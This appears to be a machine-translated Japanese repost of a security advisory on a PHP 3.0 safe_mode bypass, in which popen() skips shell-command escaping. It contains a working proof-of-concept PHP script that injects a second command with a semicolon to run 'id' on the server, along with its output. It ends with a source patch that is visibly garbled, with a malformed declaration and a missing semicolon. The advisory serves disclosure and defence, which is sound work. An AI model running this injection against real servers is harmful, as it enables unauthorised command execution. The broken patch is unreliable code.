ホームページ  >  記事  >  php教程  >  PHP3のセーフモードが無効な脆弱性

PHP3のセーフモードが無効な脆弱性

WBOY
WBOYオリジナル
2016-06-21 09:02:361078ブラウズ
影響を受けるシステム: PHP 3.00
-------------------------------------- --------------------------------------------------
説明:

PHP バージョン 3.0 は、HTML 埋め込みスクリプト言語です。その構文のほとんどは C、Java、Perl に移植され、
PHP の機能と組み合わされています。この言語を使用すると、Web 開発者は動的な Web ページを迅速に作成できます。

PHP は Web サーバー上で実行され、ユーザーがコードを実行できるようにするため、「safe_mode」と呼ばれる組み込みのセキュリティ機能があり、
は Webroot 環境でのコマンドの実行を制御するために使用されます。 PHP操作が可能になります。

実装メカニズムは、シェルコマンドの実行を強制するシステムコールを通じてシェルコマンドを EscapeShellCmd()
関数に渡します。この関数は、コマンドが外部で実行できないことを確認するために使用されます。ウェブルート ディレクトリ。

PHP の一部のバージョンでは、popen() コマンドを使用すると EscapeShellCmd() が失敗するため、悪意のあるユーザーが
'popen' システム コールを使用して不正な操作を実行できるようになります。

------------------------------------------ ---------- ------------------------------------
テスト手順:

警告: 以下の手順 (方法) は攻撃的である可能性があり、セキュリティの研究と教育のみを目的としています。ご自身の責任でご使用ください。

$fp = Popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp
n ";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp) ;
phpinfo();
?>

出力結果は次のとおりです:

1
合計 53
-rwxr-xr-x 1 ルート52292 Jan 3 22:05 ls
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)
および phpinfo() の設定値から:
safe_mode 0 1

--------------------------------------------- ----- -----------------------------
提案:
インデックス: 関数/ファイル。 c
== ========================================= ====== ===============
RCS ファイル: /repository/php3/functions/file.c,v
リビジョン 1.229 を取得しています
リビジョンを取得しています1.230
diff - u -r1.229 -r1.230
--- 関数/file.c 2000/01/01 04:31:15 1.229
+++ 関数/file.c 2000/ 01/03 21:31 :31 1.230
@@ -26,7 +26,7 @@
| 著者: ラスムス・レルドルフ
| ------ -------------------------------------------- ------ ----------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+ /* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include @ @ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, * arg2;
FILE *fp;
+ char *p, *tmp = NULL; [1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/% s",php3_ini.safe_mode_exec_dir ,arg1->value.str.val);
}

- fp = Popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = Popen(tmp,p)
+ efree(tmp); /* 一時コピー、不要 */
+
if (!fp)
php3_error(E_WARNING ,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;



声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。